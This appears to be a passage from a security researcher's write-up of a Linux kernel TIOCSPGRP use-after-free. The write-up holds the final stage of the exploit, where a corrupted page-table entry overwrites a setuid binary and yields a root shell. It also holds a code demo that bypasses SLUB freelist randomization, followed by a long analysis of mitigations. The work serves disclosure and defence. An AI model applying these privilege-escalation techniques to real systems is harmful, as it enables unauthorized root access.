At the point where the victim page has reached the page allocator's freelist, it's essentially game over - at this point, the page can be reused as anything in the system, giving us a broad range of options for exploitation. In my opinion, most defences that act after we've reached this point are fairly unreliable.

One type of allocation that is directly served from the page allocator and has nice properties for exploitation are page tables (which have also been used to exploit Rowhammer). One way to abuse the ability to modify a page table would be to enable the read/write bit in a page table entry (PTE) that maps a file page to which we are only supposed to have read access - for example, this could be used to gain write access to part of a setuid binary's .text segment and overwrite it with malicious code.

We don't know at which offset inside the victim page the victim object is located; but since a page table is effectively an array of 8-byte-aligned elements of size 8 and the victim object's alignment is a multiple of that, as long as we spray all elements of the victim array, we don't need to know the victim object's offset.

To allocate a page table full of PTEs mapping the same file page, we have to:

  • prepare by setting up a 2MiB-aligned memory region (because each last-level page table describes 2MiB of virtual memory) containing single-page mmap() mappings of the same file page (meaning each mapping corresponds to one PTE); then
  • trigger allocation of the page table and fill it with PTEs by reading from each mapping

struct pid has the same alignment as a PTE, and it starts with a 32-bit refcount, so that refcount is guaranteed to overlap the first half of a PTE, which is 64-bit. Because X86 CPUs are little-endian, incrementing the refcount field in the freed struct pid increments the least significant half of the PTE - so it effectively increments the PTE. (Except for the edge case where the least significant half is 0xffffffff, but that's not the case here.)

struct pid: count | level |   tasks[0]  |   tasks[1]  |   tasks[2]  | ... 
pagetable: PTE | PTE | PTE | PTE | ...

Therefore we can increment one of the PTEs by repeatedly triggering get_pid(), which tries to increment the refcount of the freed object. This can be turned into the ability to write to the file page as follows:

  • Increment the PTE by 0x42 to set the Read/Write bit and the Dirty bit. (If we didn't set the Dirty bit, the CPU would do it by itself when we write to the corresponding virtual address, so we could also just increment by 0x2 here.)
  • For each mapping, attempt to overwrite its contents with malicious data and ignore page faults.
    • This might throw spurious errors because of outdated TLB entries, but taking a page fault will automatically evict such TLB entries, so if we just attempt the write twice, this can't happen on the second write (modulo CPU migration, as mentioned above).
    • One easy way to ignore page faults is to let the kernel perform the memory write using pread(), which will return -EFAULT on fault.

If the kernel notices the Dirty bit later on, that might trigger writeback, which could crash the kernel if the mapping isn't set up for writing. Therefore, we have to reset the Dirty bit. We can't reliably decrement the PTE because put_pid() inefficiently accesses pid->numbers[pid->level] even when the refcount isn't dropping to zero, but we can increment it by an additional 0x80-0x42=0x3e, which means the final value of the PTE, compared to the initial value, will just have the additional bit 0x80 set, which the kernel ignores.

Afterwards, we launch the setuid executable (which, in the version in the pagecache, now contains the code we injected), and gain root privileges:

[email protected]:~/tiocspgrp$ make
as -o rootshell.o rootshell.S
ld -o rootshell rootshell.o --nmagic
gcc -Wall -o poc poc.c
[email protected]:~/tiocspgrp$ ./poc
starting up...
executing in first level child process, setting up session and PTY pair...
setting up unix sockets for ucreds spam...
draining pcpu and node partial pages
preparing for flushing pcpu partial pages
launching child process
child is 1448
ucreds spam done, struct pid refcount should be lifted. starting to skew refcount...
refcount should now be skewed, child exiting
child exited cleanly
waiting for RCU call...
bpf load with rlim 0x0: -1 (Operation not permitted)
bpf load with rlim 0x1000: 452 (Success)
bpf load success with rlim 0x1000: got fd 452
RCU callbacks executed
gonna try to free the pid...
double-free child died with signal 9 after dropping 9990 references (99%)
hopefully reallocated as an L1 pagetable now
PTE forcibly marked WRITE | DIRTY (hopefully)
clobber via corrupted PTE succeeded in page 0, 128-byte-allocation index 3, returned 856
clobber via corrupted PTE succeeded in page 0, 128-byte-allocation index 3, returned 856
bash: cannot set terminal process group (1447): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/user/tiocspgrp# id
uid=0(root) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner),120(wireshark)
[email protected]:/home/user/tiocspgrp#

Note that nothing in this whole exploit requires us to leak any kernel-virtual or physical addresses, partly because we have an increment primitive instead of a plain write; and it also doesn't involve directly influencing the instruction pointer.


This section describes different ways in which this exploit could perhaps have been prevented from working. To assist the reader, the titles of some of the subsections refer back to specific exploit stages from the section above.

Against bugs being reachable: Attack surface reduction

A potential first line of defense against many kernel security issues is to only make kernel subsystems available to code that needs access to them. If an attacker does not have direct access to a vulnerable subsystem and doesn't have sufficient influence over a system component with access to make it trigger the issue, the issue is effectively unexploitable from the attacker's security context.

Pseudoterminals are (more or less) only necessary for interactively serving users who have shell access (or something resembling that), including:

  • terminal emulators inside graphical user sessions
  • SSH servers
  • screen sessions started from various types of terminals

Things like webservers or phone apps won't normally need access to such devices; but there are exceptions. For example:

  • a web server is used to provide a remote root shell for system administration
  • a phone app's purpose is to make a shell available to the user
  • a shell script uses expect to interact with a binary that requires a terminal for input/output

In my opinion, the biggest limits on attack surface reduction as a defensive strategy are:

  1. It exposes a workaround to an implementation concern of the kernel (potential memory safety issues) in user-facing API, which can lead to compatibility issues and maintenance overhead - for example, from a security standpoint, I think it might be a good idea to require phone apps and systemd services to declare their intention to use the PTY subsystem at install time, but that would be an API change requiring some sort of action from application authors, creating friction that wouldn't be necessary if we were confident that the kernel is working properly. This might get especially messy in the case of software that invokes external binaries depending on configuration, e.g. a web server that needs PTY access when it is used for server administration. (This is somewhat less complicated when a benign-but-potentially-exploitable application actively applies restrictions to itself; but not every application author is necessarily willing to design a fine-grained sandbox for their code, and even then, there may be compatibility issues caused by libraries outside the application author's control.)
  2. It can't protect a subsystem from a context that fundamentally needs access to it. (E.g. Android's /dev/binder is directly accessible by Chrome renderers on Android because they have Android code running inside them.)
  3. It means that decisions that ought to not influence the security of a system (making an API that does not grant extra privileges available to some potentially-untrusted context) essentially involve a security tradeoff.

Still, in practice, I believe that attack surface reduction mechanisms (especially seccomp) are currently some of the most important defense mechanisms on Linux.

Against bugs in source code: Compile-time locking validation

The bug in TIOCSPGRP was a fairly straightforward violation of a straightforward locking rule: While a tty_struct is live, accessing its pgrp member is forbidden unless the ctrl_lock of the same tty_struct is held. This rule is sufficiently simple that it wouldn't be entirely unreasonable to expect the compiler to be able to verify it - as long as you somehow inform the compiler about this rule, because figuring out the intended locking rules just from looking at a piece of code can often be hard even for humans (especially when some of the code is incorrect).

When you are starting a new project from scratch, the overall best way to approach this is to use a memory-safe language - in other words, a language that has explicitly been designed such that the programmer has to provide the compiler with enough information about intended memory safety semantics that the compiler can automatically verify them. But for existing codebases, it might be worth looking into how much of this can be retrofitted.

Clang's Thread Safety Analysis feature does something vaguely like what we'd need to verify the locking in this situation:

$ nl -ba -s' ' thread-safety-test.cpp | sed 's|^   ||'
1 struct __attribute__((capability("mutex"))) mutex {
2 };
4 void lock_mutex(struct mutex *p) __attribute__((acquire_capability(*p)));
5 void unlock_mutex(struct mutex *p) __attribute__((release_capability(*p)));
7 struct foo {
8 int a __attribute__((guarded_by(mutex)));
9 struct mutex mutex;
10 };
12 int good(struct foo *p1, struct foo *p2) {
13 lock_mutex(&p1->mutex);
14 int result = p1->a;
15 unlock_mutex(&p1->mutex);
16 return result;
17 }
19 int bogus(struct foo *p1, struct foo *p2) {
20 lock_mutex(&p1->mutex);
21 int result = p2->a;
22 unlock_mutex(&p1->mutex);
23 return result;
24 }
$ clang++ -c -o thread-safety-test.o thread-safety-test.cpp -Wall -Wthread-safety
thread-safety-test.cpp:21:22: warning: reading variable 'a' requires holding mutex 'p2->mutex' [-Wthread-safety-precise]
int result = p2->a;
thread-safety-test.cpp:21:22: note: found near match 'p1->mutex'
1 warning generated.

However, this does not currently work when compiling as C code because the guarded_by attribute can't find the other struct member; it seems to have been designed mostly for use in C++ code. A more fundamental problem is that it also doesn't appear to have built-in support for distinguishing the different rules for accessing a struct member depending on the lifetime state of the object. For example, almost all objects with locked members will have initialization/destruction functions that have exclusive access to the entire object and can access members without locking. (The lock might not even be initialized in those states.)

Some objects also have more lifetime states; in particular, for many objects with RCU-managed lifetime, only a subset of the members may be accessed through an RCU reference without having upgraded the reference to a refcounted one beforehand. Perhaps this could be addressed by introducing a new type attribute that can be used to mark pointers to structs in special lifetime states? (For C++ code, Clang's Thread Safety Analysis simply disables all checks in all constructor/destructor functions.)

I am hopeful that, with some extensions, something vaguely like Clang's Thread Safety Analysis could be used to retrofit some level of compile-time safety against unintended data races. This will require adding a lot of annotations, in particular to headers, to document intended locking semantics; but such annotations are probably anyway necessary to enable productive work on a complex codebase. In my experience, when there are no detailed comments/annotations on locking rules, every attempt to change a piece of code you're not intimately familiar with (without introducing horrible memory safety bugs) turns into a foray into the thicket of the surrounding call graphs, trying to unravel the intentions behind the code.

The one big downside is that this requires getting the development community for the codebase on board with the idea of backfilling and maintaining such annotations. And someone has to write the analysis tooling that can verify the annotations.

At the moment, the Linux kernel does have some very coarse locking validation via sparse; but this infrastructure is not capable of detecting situations where the wrong lock is used or validating that a struct member is protected by a lock. It also can't properly deal with things like conditional locking, which makes it hard to use for anything other than spinlocks/RCU. The kernel's runtime locking validation via LOCKDEP is more advanced, but mostly with a focus on locking correctness of RCU pointers as well as deadlock detection (the main focus); again, there is no mechanism to, for example,automatically validate that a given struct member is only accessed under a specific lock (which would probably also be quite costly to implement with runtime validation). Also, as a runtime validation mechanism, it can't discover errors in code that isn't executed during testing (although it can combine separately observed behavior into race scenarios without ever actually observing the race).

Against bugs in source code: Global static locking analysis

An alternative approach to checking memory safety rules at compile time is to do it either after the entire codebase has been compiled, or with an external tool that analyzes the entire codebase. This allows the analysis tooling to perform analysis across compilation units, reducing the amount of information that needs to be made explicit in headers. This may be a more viable approach if peppering annotations everywhere across headers isn't viable; but it also reduces the utility to human readers of the code, unless the inferred semantics are made visible to them through some special code viewer. It might also be less ergonomic in the long run if changes to one part of the kernel could make the verification of other parts fail - especially if those failures only show up in some configurations.

I think global static analysis is probably a good tool for finding some subsets of bugs, and it might also help with finding the worst-case depth of kernel stacks or proving the absence of deadlocks, but it's probably less suited for proving memory safety correctness?

Against exploit primitives: Attack primitive reduction via syscall restrictions

(Yes, I made up that name because I thought that capturing this under "Attack surface reduction" is too muddy.)

Because allocator fastpaths (both in SLUB and in the page allocator) are implemented using per-CPU data structures, the ease and reliability of exploits that want to coax the kernel's memory allocators into reallocating memory in specific ways can be improved if the attacker has fine-grained control over the assignment of exploit threads to CPU cores. I'm calling such a capability, which provides a way to facilitate exploitation by influencing relevant system state/behavior, an "attack primitive" here. Luckily for us, Linux allows tasks to pin themselves to specific CPU cores without requiring any privilege using the sched_setaffinity() syscall.

(As a different example, one primitive that can provide an attacker with fairly powerful capabilities is being able to indefinitely stall kernel faults on userspace addresses via FUSE or userfaultfd.)

Just like in the section "Attack surface reduction" above, an attacker's ability to use these primitives can be reduced by filtering syscalls; but while the mechanism and the compatibility concerns are similar, the rest is fairly different:

Attack primitive reduction does not normally reliably prevent a bug from being exploited; and an attacker will sometimes even be able to obtain a similar but shoddier (more complicated, less reliable, less generic, ...) primitive indirectly, for example:

Attack surface reduction is about limiting access to code that is suspected to contain exploitable bugs; in a codebase written in a memory-unsafe language, that tends to apply to pretty much the entire codebase. Attack surface reduction is often fairly opportunistic: You permit the things you need, and deny the rest by default.

Attack primitive reduction limits access to code that is suspected or known to provide (sometimes very specific) exploitation primitives. For example, one might decide to specifically forbid access to FUSE and userfaultfd for most code because of their utility for kernel exploitation, and, if one of those interfaces is truly needed, design a workaround that avoids exposing the attack primitive to userspace. This is different from attack surface reduction, where it often makes sense to permit access to any feature that a legitimate workload wants to use.

A nice example of an attack primitive reduction is the sysctl vm.unprivileged_userfaultfd, which was first introduced so that userfaultfd can be made completely inaccessible to normal users and was then later adjusted so that users can be granted access to part of its functionality without gaining the dangerous attack primitive. (But if you can create unprivileged user namespaces, you can still use FUSE to get an equivalent effect.)

When maintaining lists of allowed syscalls for a sandboxed system component, or something along those lines, it may be a good idea to explicitly track which syscalls are explicitly forbidden for attack primitive reduction reasons, or similarly strong reasons - otherwise one might accidentally end up permitting them in the future. (I guess that's kind of similar to issues that one can run into when maintaining ACLs...)

But like in the previous section, attack primitive reduction also tends to rely on making some functionality unavailable, and so it might not be viable in all situations. For example, newer versions of Android deliberately indirectly give apps access to FUSE through the AppFuse mechanism. (That API doesn't actually give an app direct access to /dev/fuse, but it does forward read/write requests to the app.)

Against oops-based oracles: Lockout or panic on crash

The ability to recover from kernel oopses in an exploit can help an attacker compensate for a lack of information about system state. Under some circumstances, it can even serve as a binary oracle that can be used to more or less perform a binary search for a value, or something like that.

(It used to be even worse on some distributions, where dmesg was accessible for unprivileged users; so if you managed to trigger an oops or WARN, you could then grab the register states at all IRET frames in the kernel stack, which could be used to leak things like kernel pointers. Luckily nowadays most distributions, including Ubuntu 20.10, restrict dmesg access.)

Android and Chrome OS nowadays set the kernel's panic_on_oops flag, meaning the machine will immediately restart when a kernel oops happens. This makes it hard to use oopsing as part of an exploit, and arguably also makes more sense from a reliability standpoint - the system will be down for a bit, and it will lose its existing state, but it will also reset into a known-good state instead of continuing in a potentially half-broken state, especially if the crashing thread was holding mutexes that can never again be released, or things like that. On the other hand, if some service crashes on a desktop system, perhaps that shouldn't cause the whole system to immediately go down and make you lose unsaved state - so panic_on_oops might be too drastic there.

A good solution to this might require a more fine-grained approach. (For example, grsecurity has for a long time had the ability to lock out specific UIDs that have caused crashes.) Perhaps it would make sense to allow the init daemon to use different policies for crashes in different services/sessions/UIDs?

Against UAF access: Deterministic UAF mitigation

One defense that would reliably stop an exploit for this issue would be a deterministic use-after-free mitigation. Such a mitigation would reliably protect the memory formerly occupied by the object from accesses through dangling pointers to the object, at least once the memory has been reused for a different purpose (including reuse to store heap metadata). For write operations, this probably requires either atomicity of the access check and the actual write or an RCU-like delayed freeing mechanism. For simple read operations, it can also be implemented by ordering the access check after the read, but before the read value is used.

A big downside of this approach on its own is that extra checks on every memory access will probably come with an extremely high efficiency penalty, especially if the mitigation can not make any assumptions about what kinds of parallel accesses might be happening to an object, or what semantics pointers have. (The proof-of-concept implementation I presented at LSSNA 2020 (slides, recording) had CPU overhead roughly in the range 60%-159% in kernel-heavy benchmarks, and ~8% for a very userspace-heavy benchmark.)

Unfortunately, even a deterministic use-after-free mitigation often won't be enough to deterministically limit the blast radius of something like a refcounting mistake to the object in which it occurred. Consider a case where two codepaths concurrently operate on the same object: Codepath A assumes that the object is live and subject to normal locking rules. Codepath B knows that the reference count reached zero, assumes that it therefore has exclusive access to the object (meaning all members are mutable without any locking requirements), and is trying to tear down the object. Codepath B might then start dropping references the object was holding on other objects while codepath A is following the same references. This could then lead to use-after-frees on pointed-to objects. If all data structures are subject to the same mitigation, this might not be too much of a problem; but if some data structures (like struct page) are not protected, it might permit a mitigation bypass.

Similar issues apply to data structures with union members that are used in different object states; for example, here's some random kernel data structure with an rcu_head in a union (just a random example, there isn't anything wrong with this code as far as I know):

struct allowedips_node {
struct wg_peer __rcu *peer;
struct allowedips_node __rcu *bit[2];
/* While it may seem scandalous that we waste space for v4,
* we're alloc'ing to the nearest power of 2 anyway, so this
* doesn't actually make a difference.
u8 bits[16] __aligned(__alignof(u64));
u8 cidr, bit_at_a, bit_at_b, bitlen;

/* Keep rarely used list at bottom to be beyond cache line. */
union {
struct list_head peer_list;
struct rcu_head rcu;

As long as everything is working properly, the peer_list member is only used while the object is live, and the rcu member is only used after the object has been scheduled for delayed freeing; so this code is completely fine. But if a bug somehow caused the peer_list to be read after the rcu member has been initialized, type confusion would result.

In my opinion, this demonstrates that while UAF mitigations do have a lot of value (and would have reliably prevented exploitation of this specific bug), a use-after-free is just one possible consequence of the symptom class "object state confusion" (which may or may not be the same as the bug class of the root cause). It would be even better to enforce rules on object states, and ensure that an object e.g. can't be accessed through a "refcounted" reference anymore after the refcount has reached zero and has logically transitioned into a state like "non-RCU members are exclusively owned by thread performing teardown" or "RCU callback pending, non-RCU members are uninitialized" or "exclusive access to RCU-protected members granted to thread performing teardown, other members are uninitialized". Of course, doing this as a runtime mitigation would be even costlier and messier than a reliable UAF mitigation; this level of protection is probably only realistic with at least some level of annotations and static validation.

Against UAF access: Probabilistic UAF mitigation; pointer leaks

Summary: Some types of probabilistic UAF mitigation break if the attacker can leak information about pointer values; and information about pointer values easily leaks to userspace, e.g. through pointer comparisons in map/set-like structures.

If a deterministic UAF mitigation is too costly, an alternative is to do it probabilistically; for example, by tagging pointers with a small number of bits that are checked against object metadata on access, and then changing that object metadata when objects are freed.

The downside of this approach is that information leaks can be used to break the protection. One example of a type of information leak that I'd like to highlight (without any judgment on the relative importance of this compared to other types of information leaks) are intentional pointer comparisons, which have quite a few facets.

A relatively straightforward example where this could be an issue is the kcmp() syscall. This syscall compares two kernel objects using an arithmetic comparison of their permuted pointers (using a per-boot randomized permutation, see kptr_obfuscate()) and returns the result of the comparison (smaller, equal or greater). This gives userspace a way to order handles to kernel objects (e.g. file descriptors) based on the identities of those kernel objects (e.g. struct file instances), which in turn allows userspace to group a set of such handles by backing kernel object in O(n*log(n)) time using a standard sorting algorithm.

This syscall can be abused for improving the reliability of use-after-free exploits against some struct types because it checks whether two pointers to kernel objects are equal without accessing those objects: An attacker can allocate an object, somehow create a reference to the object that is not counted properly, free the object, reallocate it, and then verify whether the reallocation indeed reused the same address by comparing the dangling reference and a reference to the new object with kcmp(). If kcmp() includes the pointer's tag bits in the comparison, this would likely also permit breaking probabilistic UAF mitigations.

Essentially the same concern applies when a kernel pointer is encrypted and then given to userspace in fuse_lock_owner_id(), which encrypts the pointer to a files_struct with an open-coded version of XTEA before passing it to a FUSE daemon.

In both these cases, explicitly stripping tag bits would be an acceptable workaround because a pointer without tag bits still uniquely identifies a memory location; and given that these are very special interfaces that intentionally expose some degree of information about kernel pointers to userspace, it would be reasonable to adjust this code manually.

A somewhat more interesting example is the behavior of this piece of userspace code:

#define _GNU_SOURCE
#include <sys/epoll.h>
#include <sys/eventfd.h>
#include <sys/resource.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>

#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \

int main(void) {
struct rlimit rlim;
SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim));
rlim.rlim_cur = rlim.rlim_max;
SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));

cpu_set_t cpuset;
CPU_SET(0, &cpuset);
SYSCHK(sched_setaffinity(0, sizeof(cpuset), &cpuset));

int epfd = SYSCHK(epoll_create1(0));
for (int i=0; i<1000; i++)
SYSCHK(eventfd(0, 0));
for (int i=0; i<192; i++) {
int fd = SYSCHK(eventfd(0, 0));
struct epoll_event event = {
.events = EPOLLIN,
.data = { .u64 = i }
SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event));

char cmd[100];
sprintf(cmd, "cat /proc/%d/fdinfo/%d", getpid(), epfd);

It first creates a ton of eventfds that aren't used. Then it creates a bunch more eventfds and creates epoll watches for them, in creation order, with a monotonically incrementing counter in the "data" field. Afterwards, it asks the kernel to print the current state of the epoll instance, which comes with a list of all registered epoll watches, including the value of the data member (in hex). But how is this list sorted? Here's the result of running that code in a Ubuntu 20.10 VM (truncated, because it's a bit long):

[email protected]:~/epoll_fdinfo$ ./epoll_fdinfo 
pos: 0
flags: 02
mnt_id: 14
tfd: 1040 events: 19 data: 24 pos:0 ino:2f9a sdev:d
tfd: 1050 events: 19 data: 2e pos:0 ino:2f9a sdev:d
tfd: 1024 events: 19 data: 14 pos:0 ino:2f9a sdev:d
tfd: 1029 events: 19 data: 19 pos:0 ino:2f9a sdev:d
tfd: 1048 events: 19 data: 2c pos:0 ino:2f9a sdev:d
tfd: 1042 events: 19 data: 26 pos:0 ino:2f9a sdev:d
tfd: 1026 events: 19 data: 16 pos:0 ino:2f9a sdev:d
tfd: 1033 events: 19 data: 1d pos:0 ino:2f9a sdev:d

The data: field here is the loop index we stored in the .data member, formatted as hex. Here is the complete list of the data values in decimal:

36, 46, 20, 25, 44, 38, 22, 29, 30, 45, 33, 28, 41, 31, 23, 37, 24, 50, 32, 26, 21, 43, 35, 48, 27, 39, 40, 47, 42, 34, 49, 19, 95, 105, 111, 84, 103, 97, 113, 88, 89, 104, 92, 87, 100, 90, 114, 96, 83, 109, 91, 85, 112, 102, 94, 107, 86, 98, 99, 106, 101, 93, 108, 110, 12, 1, 14, 5, 6, 9, 4, 17, 7, 13, 0, 8, 2, 11, 3, 15, 16, 18, 10, 135, 145, 119, 124, 143, 137, 121, 128, 129, 144, 132, 127, 140, 130, 122, 136, 123, 117, 131, 125, 120, 142, 134, 115, 126, 138, 139, 146, 141, 133, 116, 118, 66, 76, 82, 55, 74, 68, 52, 59, 60, 75, 63, 58, 71, 61, 53, 67, 54, 80, 62, 56, 51, 73, 65, 78, 57, 69, 70, 77, 72, 64, 79, 81, 177, 155, 161, 166, 153, 147, 163, 170, 171, 154, 174, 169, 150, 172, 164, 178, 165, 159, 173, 167, 162, 152, 176, 157, 168, 148, 149, 156, 151, 175, 158, 160, 186, 188, 179, 180, 183, 191, 181, 187, 182, 185, 189, 190, 184

While these look sort of random, you can see that the list can be split into blocks of length 32 that consist of shuffled contiguous sequences of numbers:

Block 1 (32 values in range 19-50):
36, 46, 20, 25, 44, 38, 22, 29, 30, 45, 33, 28, 41, 31, 23, 37, 24, 50, 32, 26, 21, 43, 35, 48, 27, 39, 40, 47, 42, 34, 49, 19

Block 2 (32 values in range 83-114):
95, 105, 111, 84, 103, 97, 113, 88, 89, 104, 92, 87, 100, 90, 114, 96, 83, 109, 91, 85, 112, 102, 94, 107, 86, 98, 99, 106, 101, 93, 108, 110

Block 3 (19 values in range 0-18):
12, 1, 14, 5, 6, 9, 4, 17, 7, 13, 0, 8, 2, 11, 3, 15, 16, 18, 10

Block 4 (32 values in range 115-146):
135, 145, 119, 124, 143, 137, 121, 128, 129, 144, 132, 127, 140, 130, 122, 136, 123, 117, 131, 125, 120, 142, 134, 115, 126, 138, 139, 146, 141, 133, 116, 118

Block 5 (32 values in range 51-82):
66, 76, 82, 55, 74, 68, 52, 59, 60, 75, 63, 58, 71, 61, 53, 67, 54, 80, 62, 56, 51, 73, 65, 78, 57, 69, 70, 77, 72, 64, 79, 81

Block 6 (32 values in range 147-178):
177, 155, 161, 166, 153, 147, 163, 170, 171, 154, 174, 169, 150, 172, 164, 178, 165, 159, 173, 167, 162, 152, 176, 157, 168, 148, 149, 156, 151, 175, 158, 160

Block 7 (13 values in range 179-191):
186, 188, 179, 180, 183, 191, 181, 187, 182, 185, 189, 190, 184

What's going on here becomes clear when you look at the data structures epoll uses internally. ep_insert calls ep_rbtree_insert to insert a struct epitem into a red-black tree (a type of sorted binary tree); and this red-black tree is sorted using a tuple of a struct file * and a file descriptor number:

/* Compare RB tree keys */
static inline int ep_cmp_ffd(struct epoll_filefd *p1,
struct epoll_filefd *p2)
return (p1->file > p2->file ? +1:
(p1->file < p2->file ? -1 : p1->fd - p2->fd));

So the values we're seeing have been ordered based on the virtual address of the corresponding struct file; and SLUB allocates struct file from order-1 pages (i.e. pages of size 8 KiB), which can hold 32 objects each:

[email protected]:/sys/kernel/slab/filp# cat order 
[email protected]:/sys/kernel/slab/filp# cat objs_per_slab
[email protected]:/sys/kernel/slab/filp#

This explains the grouping of the numbers we saw: Each block of 32 contiguous values corresponds to an order-1 page that was previously empty and is used by SLUB to allocate objects until it becomes full.

With that knowledge, we can transform those numbers a bit, to show the order in which objects were allocated inside each page (excluding pages for which we haven't seen all allocations):

$ cat slub_demo.py 
#!/usr/bin/env python3
blocks = [
[ 36, 46, 20, 25, 44, 38, 22, 29, 30, 45, 33, 28, 41, 31, 23, 37, 24, 50, 32, 26, 21, 43, 35, 48, 27, 39, 40, 47, 42, 34, 49, 19 ],
[ 95, 105, 111, 84, 103, 97, 113, 88, 89, 104, 92, 87, 100, 90, 114, 96, 83, 109, 91, 85, 112, 102, 94, 107, 86, 98, 99, 106, 101, 93, 108, 110 ],
[ 12, 1, 14, 5, 6, 9, 4, 17, 7, 13, 0, 8, 2, 11, 3, 15, 16, 18, 10 ],
[ 135, 145, 119, 124, 143, 137, 121, 128, 129, 144, 132, 127, 140, 130, 122, 136, 123, 117, 131, 125, 120, 142, 134, 115, 126, 138, 139, 146, 141, 133, 116, 118 ],
[ 66, 76, 82, 55, 74, 68, 52, 59, 60, 75, 63, 58, 71, 61, 53, 67, 54, 80, 62, 56, 51, 73, 65, 78, 57, 69, 70, 77, 72, 64, 79, 81 ],
[ 177, 155, 161, 166, 153, 147, 163, 170, 171, 154, 174, 169, 150, 172, 164, 178, 165, 159, 173, 167, 162, 152, 176, 157, 168, 148, 149, 156, 151, 175, 158, 160 ],
[ 186, 188, 179, 180, 183, 191, 181, 187, 182, 185, 189, 190, 184 ]

for alloc_indices in blocks:
if len(alloc_indices) != 32:
# indices of allocations ('data'), sorted by memory location, shifted to be relative to the block
alloc_indices_relative = [position - min(alloc_indices) for position in alloc_indices]
# reverse mapping: memory locations of allocations,
# sorted by index of allocation ('data').
# if we've observed all allocations in a page,
# these will really be indices into the page.
memory_location_by_index = [alloc_indices_relative.index(idx) for idx in range(0, len(alloc_indices))]
$ ./slub_demo.py
[31, 2, 20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17]
[16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17, 31, 2, 20, 6, 14]
[23, 30, 17, 31, 2, 20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27]
[20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15, 5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17, 31, 2]
[5, 25, 26, 12, 28, 21, 4, 9, 1, 27, 23, 30, 17, 31, 2, 20, 6, 14, 16, 3, 19, 24, 11, 7, 8, 13, 18, 10, 29, 22, 0, 15]

And these sequences are almost the same, except that they have been rotated around by different amounts. This is exactly the SLUB freelist randomization scheme, as introduced in commit 210e7a43fa905!

When a SLUB kmem_cache is created (an instance of the SLUB allocator for a specific size class and potentially other specific attributes, usually initialized at boot time), init_cache_random_seq and cache_random_seq_create fill an array ->random_seq with randomly-ordered object indices via Fisher-Yates shuffle, with the array length equal to the number of objects that fit into a page. Then, whenever SLUB grabs a new page from the lower-level page allocator, it initializes the page freelist using the indices from ->random_seq, starting at a random index in the array (and wrapping around when the end is reached). (I'm ignoring the low-order allocation fallback here.)

So in summary, we can bypass SLUB randomization for the slab from which struct file is allocated because someone used it as a lookup key in a specific type of data structure. This is already fairly undesirable if SLUB randomization is supposed to provide protection against some types of local attacks for all slabs.

The heap-randomization-weakening effect of such data structures is not necessarily limited to cases where elements of the data structure can be listed in-order by userspace: If there was a codepath that iterated through the tree in-order and freed all tree nodes, that could have a similar effect, because the objects would be placed on the allocator's freelist sorted by address, cancelling out the randomization. In addition, you might be able to leak information about iteration order through cache side channels or such.

If we introduce a probabilistic use-after-free mitigation that relies on attackers not being able to learn whether the uppermost bits of an object's address changed after it was reallocated, this data structure could also break that. This case is messier than things like kcmp() because here the address ordering leak stems from a standard data structure.

You may have noticed that some of the examples I'm using here would be more or less limited to cases where an attacker is reallocating memory with the same type as the old allocation, while a typical use-after-free attack ends up replacing an object with a differently-typed one to cause type confusion. As an example of a bug that can be exploited for privilege escalation without type confusion at the C structure level, see entry 808 in our bugtracker. My exploit for that bug first starts a writev() operation on a writable file, lets the kernel validate that the file is indeed writable, then replaces the struct file with a read-only file pointing to /etc/crontab, and lets writev() continue. This allows gaining root privileges through a use-after-free bug without having to mess around with kernel pointers, data structure layouts, ROP, or anything like that. Of course that approach doesn't work with every use-after-free though.

(By the way: For an example of pointer leaks through container data structures in a JavaScript engine, see this bug I reported to Firefox back in 2016, when I wasn't a Google employee, which leaks the low 32 bits of a pointer by timing operations on pessimal hash tables - basically turning the HashDoS attack into an infoleak. Of course, nowadays, a side-channel-based pointer leak in a JS engine would probably not be worth treating as a security bug anymore, since you can probably get the same result with Spectre...)

Against freeing SLUB pages: Preventing virtual address reuse beyond the slab

(Also discussed a little bit on the kernel-hardening list in this thread.)

A weaker but less CPU-intensive alternative to trying to provide complete use-after-free protection for individual objects would be to ensure that virtual addresses that have been used for slab memory are never reused outside the slab, but that physical pages can still be reused. This would be the same basic approach as used by PartitionAlloc and others. In kernel terms, that would essentially mean serving SLUB allocations from vmalloc space.

Some challenges I can think of with this approach are:

  • SLUB allocations are currently served from the linear mapping, which normally uses hugepages; if vmalloc mappings with 4K PTEs were used instead, TLB pressure might increase, which might lead to some performance degradation.
  • To be able to use SLUB allocations in contexts that operate directly on physical memory, it is sometimes necessary for SLUB pages to be physically contiguous. That's not really a problem, but it is different from default vmalloc behavior. (Sidenote: DMA buffers don't always have to be physically contiguous - if you have an IOMMU, you can use that to map discontiguous pages to a contiguous DMA address range, just like how normal page tables create virtually-contiguous memory. See this kernel-internal API for an example that makes use of this, and Fuchsia's documentation for a high-level overview of how all this works in general.)
  • Some parts of the kernel convert back and forth between virtual addresses, struct page pointers, and (for interaction with hardware) physical addresses. This is a relatively straightforward mapping for addresses in the linear mapping, but would become a bit more complicated for vmalloc addresses. In particular, page_to_virt() and phys_to_virt() would have to be adjusted.
    • This is probably also going to be an issue for things like Memory Tagging, since pointer tags will have to be reconstructed when converting back to a virtual address. Perhaps it would make sense to forbid these helpers outside low-level memory management, and change existing users to instead keep a normal pointer to the allocation around? Or maybe you could let pointers to struct page carry the tag bits for the corresponding virtual address in unused/ignored address bits?

